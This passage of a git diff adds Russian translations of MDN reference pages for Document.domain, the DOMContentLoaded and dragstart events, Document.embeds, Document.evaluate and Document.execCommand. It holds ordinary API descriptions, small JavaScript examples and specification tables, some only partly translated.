WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML 5.2','browsers.html#relaxing-the-same-origin-restriction','Document.domain')}}</td> + <td>{{Spec2('HTML 5.2')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы желаете внести свой вклад в данные, пожалуйста ознакомтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> + +<p>{{Compat("api.Document.domain")}}</p> + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">Политика ограничения домена для JavaScriptHTML</a></li> +</ul> diff --git a/files/ru/web/api/document/domcontentloaded_event/index.html b/files/ru/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..4a77474df9 --- /dev/null +++ b/files/ru/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,184 @@ +--- +title: 'Document: DOMContentLoaded event' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - Событие +translation_of: Web/API/Document/DOMContentLoaded_event +--- +<div>{{APIRef}}</div> + +<p>Событие <strong><code>DOMContentLoaded</code></strong> запускается когда первоначальный HTML документ будет полностью загружен и разобран, без ожидания полной загрузки таблиц стилей, изображений и фреймов.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Всплытие</th> + <td>да</td> + </tr> + <tr> + <th scope="row">Отменяемый</th> + <td>Да (хотя указано как простое событие, которое не может быть отменено)</td> + </tr> + <tr> + <th scope="row">Интерфейс</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">Свойство обработчика событий</th> + <td>нет</td> + </tr> + </tbody> +</table> + +<p>Разные события,<code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, должны быть использованы только для обнаружения полностью загруженной страницы. Это распространённая ошибка в использовании <code>load</code>, там где <code>DOMContentLoaded</code> было бы более уместным.</p> + +<p>Синхронный JavaScript останавливает разбор DOM. Если вы хотите что бы DOM был разобран как можно быстрее после того как пользователь запросит страницу, вы должны сделать ваш <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript асинхронным </a>and <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">оптимизировать загрузку таблиц стилей</a>. Если загружать как обычно, таблицы стилей тормозят разбор DOM так как они загружаются параллельно, "крадя" трафик у основного HTML документа.</p> + +<h2 id="Примеры">Примеры</h2> + +<h3 id="Основное_применение">Основное применение</h3> + +<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM полностью загружен и разобран'); +}); +</pre> + +<h3 id="Отложенный_DOMContentLoaded">Отложенный DOMContentLoaded</h3> + +<pre class="brush: html"><script> + document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM полностью загружен и разобран'); + }); + +for( let i = 0; i < 1000000000; i++) +{} // Этот синхронный скрипт откладывает разбор DOM, + // так что событие DOMContentLoaded будет запущено позже. +</script> +</pre> + +<h3 id="Проверка_того_завершена_ли_загрузка">Проверка того, завершена ли загрузка</h3> + +<p><code>DOMContentLoaded</code> может сработать до того, как ваш скрипт будет запущен, поэтому разумно это проверить, перед добавлением слушателя.</p> + +<pre class="brush: js">function doSomething() { + console.info('DOM загружен'); +} + +if (document.readyState === 'loading') { // Загрузка ещё не закончилась + document.addEventListener('DOMContentLoaded', doSomething); +} else { // `DOMContentLoaded` Уже сработал + doSomething(); +} +</pre> + +<h3 id="Живые_примеры">Живые примеры</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="controls"> + <button id="reload" type="button">Reload</button> +</div> + +<div class="event-log"> + <label>Event log:</label> + <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> +</div></pre> + +<div class="hidden"> +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} + +</pre> +</div> + +<h4 id="JS">JS</h4> + +<pre class="brush: js">const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); + +</pre> + +<h4 id="Result">Result</h4> + +<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_совместимость">Браузерная совместимость</h2> + +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и вышлите нам pull request .</div> + +<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>События связанные с: <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Document/readystatechange_event">readystatechange</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li> + <li>Это событие <code><a href="/en-US/docs/Web/API/Window">Window</a></code> нацеленное на: <code><a href="/en-US/docs/Web/API/Window/DOMContentLoaded_event">DOMContentLoaded</a></code></li> +</ul> diff --git a/files/ru/web/api/document/dragstart_event/index.html b/files/ru/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..7b7e89cfea --- /dev/null +++ b/files/ru/web/api/document/dragstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: 'Document: dragstart event' +slug: Web/API/Document/dragstart_event +translation_of: Web/API/Document/dragstart_event +--- +<div>Событие dragstart вызывается, когда пользователь начинает перетаскивать выделенный элемент или текст.</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Отменяемое</th> + <td>Да</td> + </tr> + <tr> + <th scope="row">Действие по умолчанию</th> + <td>Инициирование операции перетаскивания</td> + </tr> + <tr> + <th scope="row">Интерфейс</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">Свойство обработчика события</th> + <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Примеры">Примеры</h2> + + + +<p>See the <a href="/en-US/docs/Web/API/Document/drag_event">drag event</a> for example code or this <a href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>.</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + + + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + + + +<p>{{Compat("api.Document.dragstart_event")}}</p> + +<h2 id="См._также">См. также</h2> + +<ul> + <li>Other drag and drop events: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>This event on other targets: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ru/web/api/document/embeds/index.html b/files/ru/web/api/document/embeds/index.html new file mode 100644 index 0000000000..848996becb --- /dev/null +++ b/files/ru/web/api/document/embeds/index.html @@ -0,0 +1,59 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - API + - Document +translation_of: Web/API/Document/embeds +--- +<p> </p> + +<p>{{ApiRef}}</p> + +<p>The <strong><code>embeds</code></strong> read-only property of the {{domxref("Document")}} interface returns a list of the embedded {{htmlelement("object")}} elements within the current document.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre><var>nodeList</var> = document.embeds +</pre> + +<h3 id="Значение">Значение</h3> + +<p>{{domxref("HTMLCollection")}}.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификации</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.embeds")}}</p> + +<p> </p> + +<table class="standard-table"> + <tbody> + <tr> + <td> </td> + </tr> + </tbody> +</table> diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..07c7e55155 --- /dev/null +++ b/files/ru/web/api/document/evaluate/index.html @@ -0,0 +1,159 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +translation_of: Web/API/Document/evaluate +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>Возвращает экземпляр объекта типа <code><a href="/en-US/docs/XPathResult" title="XPathResult">XPathResult</a></code> исходя из данного <a href="/en-US/docs/XPath" title="XPath">XPath</a> и других входных параметров.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox notranslate">var xpathResult = document.evaluate( + xpathExpression, + contextNode, + namespaceResolver, + resultType, + result +);</pre> + +<ul> + <li><code>xpathExpression</code> - строка, описывающая XPath, который должен быть исполнен.</li> + <li><code>contextNode</code> указывает<em>контекстный узел</em> для запроса (см. [<a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> спецификация XPath). В качестве данного аргумента может быть задан объект <em>document</em>.</li> + <li><code>namespaceResolver</code> - функция, которой будут переданы все префиксы пространств имён. Она должна возвращать строку, описывающую URI, ассоциированный с данным префиксом. It will be used to resolve prefixes within the XPath itself, so that they can be matched with the document. <code>null</code> is common for HTML documents or when no namespace prefixes are used.</li> + <li><code>resultType</code> - число, описывающее тип возвращаемого <code>XPathResult</code> (см. ниже). Используйте <a href="#Result_types">именные свойства-константы</a> конструктора класса <code>XPathResult</code> (эквивалентно численным значениям от 0 до 9), как например <code>XPathResult.ANY_TYPE</code>.</li> + <li><code>result</code> - экземпляр объекта типа <code>XPathResult</code>, используемого для хранения результатов поиска по данному <code>xpathExpression</code>. Может принимать значение <code>null</code></li> +</ul> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +/* Найти в документе все элементы h2 + * В качестве результата будет получен узловой итератор. */ +var thisHeading = headings.iterateNext(); +var alertText = "В данном документе заголовками 2-го уровня являются:\n"; +while (thisHeading) { + alertText += thisHeading.textContent + "\n"; + thisHeading = headings.iterateNext(); +} +alert(alertText); // Показывает alert со всеми найденными элементами h2 +</pre> + +<p>Note, in the above example, a more verbose XPath is preferred over common shortcuts such as <code>//h2</code>. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits <em>every</em> node from the root and all subnodes looking for possible matches.</p> + +<p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p> + +<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +</pre> + +<p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p> + +<p>Более детально данный материал описан в статье <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a>.</p> + +<h2 id="Notes" name="Notes">Заметки</h2> + +<ul> + <li>Выражения XPath могут быть интерпретированы в HTML- и XML-документах.</li> + <li>While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.</li> +</ul> + +<h2 id="Result_types" name="Result_types">Типы возвращаемых данных</h2> + +<p>(Merge with <a href="/Template:XPathResultConstants" title="Template:XPathResultConstants">Template:XPathResultConstants</a>?</p> + +<p>These are supported values for the <code>resultType</code> parameter of the <code>evaluate</code> method:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Result Type</td> + <td class="header">Value</td> + <td class="header">Description</td> + </tr> + <tr> + <td><code>ANY_TYPE</code></td> + <td>0</td> + <td>Whatever type naturally results from the given expression.</td> + </tr> + <tr> + <td><code>NUMBER_TYPE</code></td> + <td>1</td> + <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td> + </tr> + <tr> + <td><code>STRING_TYPE</code></td> + <td>2</td> + <td>A result set containing a single string.</td> + </tr> + <tr> + <td><code>BOOLEAN_TYPE</code></td> + <td>3</td> + <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td> + <td>4</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td> + <td>5</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>6</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>7</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ANY_UNORDERED_NODE_TYPE</code></td> + <td>8</td> + <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td> + </tr> + <tr> + <td><code>FIRST_ORDERED_NODE_TYPE</code></td> + <td>9</td> + <td>A result set containing the first node in the document that matches the expression.</td> + </tr> + </tbody> +</table> + +<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p> + +<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p> + +<h2 id="Specifications" name="Specifications">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>Initial specification</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> + +<p>{{Compat("api.Document.evaluate")}}</p> + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/DOM/document.createExpression" title="DOM/document.createExpression">DOM:document.createExpression</a></li> + <li><a href="/en-US/docs/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li> + <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li> +</ul> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..b858471dc2 --- /dev/null +++ b/files/ru/web/api/document/execcommand/index.html @@ -0,0 +1,358 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - editor + - wysiwyg +translation_of: Web/API/Document/execCommand +--- +<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div> + +<div> +<h2 id="Summary" name="Summary">Обзор</h2> + +<p>Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) +</pre> + +<h3 id="Аргументы">Аргументы</h3> + +<blockquote> +<dl> + <dt>String aCommandName</dt> + <dd>имя команды</dd> +</dl> + +<dl> + <dt>Boolean aShowDefaultUI</dt> + <dd>нужно ли показать пользовательский интерфейс по умолчанию. Это не реализовано в Mozilla.</dd> +</dl> + +<dl> + <dt>String aValueArgument</dt> + <dd>некоторым командам (например insertimage) также требуется значение аргумента (url картинки). Е<span style="line-height: 1.5;">сли аргумент не нужен введите</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">null</code><span style="line-height: 1.5;">.</span></dd> +</dl> +</blockquote> + +<h2 id="Команды">Команды</h2> + + +<blockquote> +<dl> + <dt>backColor</dt> + <dd>Изменить цвет фона документа. В режиме styleWithCss командой устанавливается цвет фона родительского блока. Необходима передача строкового значения цвета в качестве аргумента. (Internet Explorer таким образом устанавливает цвет фона текста.)</dd> +</dl> + +<dl> + <dt>bold</dt> + <dd>Включает/отключает выделение жирным bold отмеченного текста или начиная с места ввода текста. (Internet Explorer использует тег {{HTMLElement("strong")}} вместо {{HTMLElement("b")}}.)</dd> +</dl> + +<dl> + <dt>contentReadOnly</dt> + <dd>Делает содержимое документа либо неизменяемым либо редактируемым. Требуется передача булевого true/false в качестве аргумента. (Не поддерживается Internet Explorer.)</dd> +</dl> + +<dl> + <dt>copy</dt> + <dd>Копирует выделенное в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd> +</dl> + +<dl> + <dt>createLink</dt> + <dd>Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ccылку и без URI.)</dd> +</dl> + +<dl> + <dt>cut</dt> + <dd>Вырезает выделенное и помещает его в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd> +</dl> + +<dl> + <dt>decreaseFontSize</dt> + <dd>Добавляет тег {{HTMLElement("small")}} вокруг выделения или с места ввода текста. (Не поддерживается Internet Explorer.)</dd> +</dl> + +<dl> + <dt>delete</dt> + <dd>Удаляет выделенное.</dd> +</dl> + +<dl> + <dt>enableInlineTableEditing</dt> + <dd>Включает/выключает возможность вставки и удаления строк/столбцов таблицы. (Не поддерживается Internet Explorer.)</dd> +</dl> + +<dl> + <dt>enableObjectResizing</dt> + <dd>Включает/выключает возможность изменения размера картинок и других объектов. (Не поддерживается Internet Explorer.)</dd> +</dl> + +<dl> + <dt>fontName</dt> + <dd>Изменяет название шрифта для выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта (напр., "Arial") </dd> +</dl> + +<dl> + <dt>fontSize</dt> + <dd>Изменяет размер шрифта выделенного текста или с места ввода текста. Требует передачи в качестве аргумента размера шрифта (1-7).</dd> +</dl> + +<dl> + <dt>foreColor</dt> + <dd>Изменяет цвет шрифта выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта.</dd> +</dl> + +<dl> + <dt>formatBlock</dt> + <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)</dd> +</dl> + +<dl> + <dt>forwardDelete</dt> + <dd>Удаляет символ справа от курсора, так же как при нажатии на клавишу delete.</dd> + <dt>heading</dt> + <dd>Добавляет тег заголовка вокруг выделенного текста либо в месте, где установлен курсор.<br> + Требует передачи строки имени тега в качестве аргумента. (то есть "H1", "H6"). (Не поддерживается в Internet Explorer и Safari)</dd> +</dl> + +<dl> + <dt>hiliteColor</dt> + <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)</dd> +</dl> + +<dl> + <dt>increaseFontSize</dt> + <dd>Добавляет тег BIG вокруг выделенного текста или на месте курсора. (Не поддерживается в Internet Explorer)</dd> +</dl> + +<dl> + <dt>indent</dt> + <dd>Добавляет отступ в строку, в которой расположен курсор (или что-то выделено). В Firefox, если выделение охватывает несколько строк с разными уровнями отступа, будут сдвинуты только строки с наименьшим отступом.</dd> +</dl> + +<dl> + <dt>insertBrOnReturn</dt> + <dd>Добавляет тег {{HTMLElement("br")}} или разбивает текущий элемент на два блока. Не работает в Internet Explorer</dd> +</dl> + +<dl> + <dt>insertHorizontalRule</dt> + <dd>Вставляет горизонтальную линию на месте курсора (удаляет выделение).</dd> +</dl> + +<dl> + <dt>insertHTML</dt> + <dd>Вставляет HTML текст на месте курсора (удаляет выделенный текст). Требует передачи правильной HTML строки в качестве аргумента. (Не поддерживается в Internet Explorer)</dd> +</dl> + +<dl> + <dt>insertImage</dt> + <dd>Вставляет изображение на место курсора (удаляет выделенный текст). Необходимо указывать ссылку на изображение в параметре "aValueArgument". (Internet Explorer может создавать изображения с пустым SRC)</dd> +</dl> + +<dl> + <dt>insertOrderedList</dt> + <dd>Создает пронумерованный список из выбранного или на месте курсора.</dd> +</dl> + +<dl> + <dt>insertUnorderedList</dt> + <dd>Создает список из выбранного или на месте курсора.</dd> +</dl> + +<dl> + <dt>insertParagraph</dt> + <dd>Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)</dd> + <dt>insertText</dt> + <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).</dd> +</dl> + +<dl> + <dt>italic</dt> + <dd>Переключает курсив в месте курсора или выделения. (Internet Explorer использует теги {{HTMLElement("em")}} вместо {{HTMLElement("i")}}.)</dd> +</dl> + +<dl> + <dt>justifyCenter</dt> + <dd>Центрирует строку, в которой есть выделение или установлен курсор.</dd> +</dl> + +<dl> + <dt>justifyFull</dt> + <dd>Выравнивает по ширине строку, в которой есть выделение или установлен курсор.</dd> +</dl> + +<dl> + <dt>justifyLeft</dt> + <dd>Выравнивает по левому краю строку, в которой есть выделение или установлен курсор.</dd> +</dl> + +<dl> + <dt>justifyRight</dt> + <dd>Выравнивает по правому краю строку, в которой есть выделение или установлен курсор.</dd> +</dl> + +<dl> + <dt>outdent</dt> + <dd>Добавляет выступ для строки, в которой расположен курсор (или что-то выделено).</dd> +</dl> + +<dl> + <dt>paste</dt> + <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js</dd> +</dl> + +<dl> + <dt>redo</dt> + <dd>Повтор последнего действия. (Если было отменено с помощью <strong>undo</strong> или <strong>ctrl+z</strong>)</dd> +</dl> + +<dl> + <dt>removeFormat</dt> + <dd>Очищает форматирование для выделенного.</dd> +</dl> + +<dl> + <dt>selectAll</dt> + <dd>Выделяет всё в редактируемом документе.</dd> +</dl> + +<dl> + <dt>strikeThrough</dt> + <dd>Переключает зачеркивание текста для выделения или на месте курсора.</dd> +</dl> + +<dl> + <dt>subscript</dt> + <dd>Переключает нижний индекс для выбранного или на месте курсора.</dd> +</dl> + +<dl> + <dt>superscript</dt> + <dd>Переключает верхний индекс для выбранного или на месте курсора.</dd> +</dl> + +<dl> + <dt>underline</dt> + <dd>Переключает подчёркивание для выбранного или на месте курсора.</dd> +</dl> + +<dl> + <dt>undo</dt> + <dd>Отменяет последнее действие.</dd> +</dl> + +<dl> + <dt>unlink</dt> + <dd>Удаляет ссылку или якорь для выбранной ссылки/якоря</dd> +</dl> + +<dl> + <dt>useCSS {{ Deprecated_inline() }}</dt> + <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd> +</dl> + +<dl> + <dt>styleWithCSS</dt> + <dd><strong>Заменяет команду useCSS.</strong> Аргумент работает как ожидалось, т.е. true модифицирует/генерирует атрибуты стиля в разметке, false генерирует элементы форматирования.</dd> +</dl> +</blockquote> +</div> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст +<code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия +<code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста +</pre> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + <tr> + <td>insertBrOnReturn</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatNo() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome для Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li>{{domxref("document.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li> +</ul> diff --git a/files/ru/web/api/document/forms/index.html b/files/ru/web/api/document/forms/index.html new file mode 100644 index 0000000000..a6d356208b --- /dev/null +++ b/files/ru/web/api/document/forms/index.html @@ -0,0 